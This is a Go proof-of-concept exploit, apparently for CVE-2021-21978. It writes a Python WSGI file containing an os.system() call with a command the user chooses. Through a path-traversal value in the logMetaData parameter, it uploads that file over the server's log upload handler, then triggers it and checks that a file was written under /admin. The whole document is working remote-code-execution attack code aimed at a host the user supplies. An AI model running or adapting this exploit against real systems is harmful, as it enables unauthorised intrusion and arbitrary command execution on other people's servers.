package main import ( "bytes" "crypto/tls" "flag" "fmt" "io" "io/ioutil" "math/rand" "mime/multipart" "net/http" "strconv" //"net/url" "os" "strings" ) func makefile(fileName string, cmd string) { conntent := fmt.Sprintf(`#! /usr/bin/env python3 import cgi import os,sys import logging import json os.system('%s') WORKLOAD_LOG_ZIP_ARCHIVE_FILE_NAME = "workload_log_{}.zip" class LogFileJson: """ Defines format to upload log file in harness Arguments: itrLogPath : log path provided by harness to store log data logFileType : Type of log file defined in api.agentlogFileType workloadID [OPTIONAL] : workload id, if log file is workload specific """ def __init__(self, itrLogPath, logFileType, workloadID = None): self.itrLogPath = itrLogPath self.logFileType = logFileType self.workloadID = workloadID def to_json(self): return json.dumps(self.__dict__) @classmethod def from_json(cls, json_str): json_dict = json.loads(json_str) return cls(**json_dict) class agentlogFileType(): """ Defines various log file types to be uploaded by agent """ WORKLOAD_ZIP_LOG = "workloadLogsZipFile" try: # TO DO: Puth path in some config logging.basicConfig(filename="/etc/httpd/html/logs/uploader.log",filemode='a', level=logging.ERROR) except: # In case write permission is not available in log folder. pass logger = logging.getLogger('log_upload_wsgi.py') def application(environ, start_response): logger.debug("application called") if environ['REQUEST_METHOD'] == 'POST': post = cgi.FieldStorage( fp=environ['wsgi.input'], environ=environ, keep_blank_values=True ) # TO DO: Puth path in some config or read from config is already available resultBasePath = "/etc/httpd/html/vpresults" try: filedata = post["logfile"] metaData = post["logMetaData"] if metaData.value: logFileJson = LogFileJson.from_json(metaData.value) if not os.path.exists(os.path.join(resultBasePath, logFileJson.itrLogPath)): os.makedirs(os.path.join(resultBasePath, logFileJson.itrLogPath)) if filedata.file: if (logFileJson.logFileType == agentlogFileType.WORKLOAD_ZIP_LOG): filePath = os.path.join(resultBasePath, logFileJson.itrLogPath, WORKLOAD_LOG_ZIP_ARCHIVE_FILE_NAME.format(str(logFileJson.workloadID))) else: filePath = os.path.join(resultBasePath, logFileJson.itrLogPath, logFileJson.logFileType) with open(filePath, 'wb') as output_file: while True: data = filedata.file.read(1024) # End of file if not data: break output_file.write(data) body = u" File uploaded successfully." start_response( '200 OK', [ ('Content-type', 'text/html; charset=utf8'), ('Content-Length', str(len(body))), ] ) return [body.encode('utf8')] except Exception as e: logger.error("Exception {}".format(str(e))) body = u"Exception {}".format(str(e)) else: logger.error("Invalid request") body = u"Invalid request" start_response( '400 fail', [ ('Content-type', 'text/html; charset=utf8'), ('Content-Length', str(len(body))), ] ) return [body.encode('utf8')]`, cmd) f, err := os.Create(fileName) defer f.Close() if err != nil { fmt.Println(err.Error()) } else { _, _ = f.Write([]byte(conntent)) } } func Verify(targetUrl string) string { tr := &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, } client := &http.Client{Transport: tr} resp, err := client.Get(targetUrl) if err != nil { fmt.Println(err) } defer resp.Body.Close() resp_body, err := ioutil.ReadAll(resp.Body) return string(resp_body) } //文件上传 func postFile(filename string, targetUrl string) bool { //urlProxy, _ := url.Parse("http://127.0.0.1:8080") trans := &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // Proxy: http.ProxyURL(urlProxy), } client := &http.Client{Transport: trans} bodyBuf := &bytes.Buffer{} bodyWriter := multipart.NewWriter(bodyBuf) //关键的一步操作 fileWriter, err := bodyWriter.CreateFormFile("logfile", "") if err != nil { } //打开文件句柄操作 fh, err := os.Open(filename) if err != nil { fmt.Println("无法打开文件...END") } defer fh.Close() //iocopy _, err = io.Copy(fileWriter, fh) if err != nil { } contentType := bodyWriter.FormDataContentType() bodyWriter.Close() response, _ := http.NewRequest("POST", targetUrl, bodyBuf) response.Header.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36") response.Header.Add("Cache-Control", "no-cache") response.Header.Add("Pragma", "no-cache") response.Header.Add("Content-Type", contentType) resp, _ := client.Do(response) if err != nil { } defer resp.Body.Close() resp_body, err := ioutil.ReadAll(resp.Body) if err != nil { } if strings.Contains(string(resp_body), "File uploaded successfully.") { return true } else { return false } } func main() { roll := rand.Intn(999999) rollcnt := fmt.Sprintf("echo test.%s > /etc/httpd/html/admin/test.txt", strconv.Itoa(roll)) host := flag.String("h", "", "host") cmd := flag.String("c", rollcnt, "cmd") flag.Parse() if *host == "" { fmt.Println("使用: go run CVE-2021-21978.go -h -c ") os.Exit(0) } targetUrl := fmt.Sprintf(`https://%s/logupload?logMetaData={"itrLogPath":"../../../../../../etc/httpd/html/wsgi_log_upload","logFileType":"log_upload_wsgi.py","workloadID":"2"}`, *host) getUrl := fmt.Sprintf("https://%s/logupload", *host) testUrl := fmt.Sprintf("https://%s/admin/test.txt", *host) poc_file := "./log_upload_wsgi.py" makefile(poc_file, *cmd) fmt.Println("文件上传中...") if postFile(poc_file, targetUrl) == true { fmt.Println("文件上传成功...") } else { fmt.Println("文件上传失败...END") os.Exit(0) } fmt.Println("命令触发...") Verify(getUrl) if *cmd == rollcnt { if strings.Contains(Verify(testUrl), fmt.Sprintf("test.%s", strconv.Itoa(roll))) { fmt.Println(fmt.Sprintf("上传成功,执行命令成功,已生成新页面 %s", testUrl)) } } }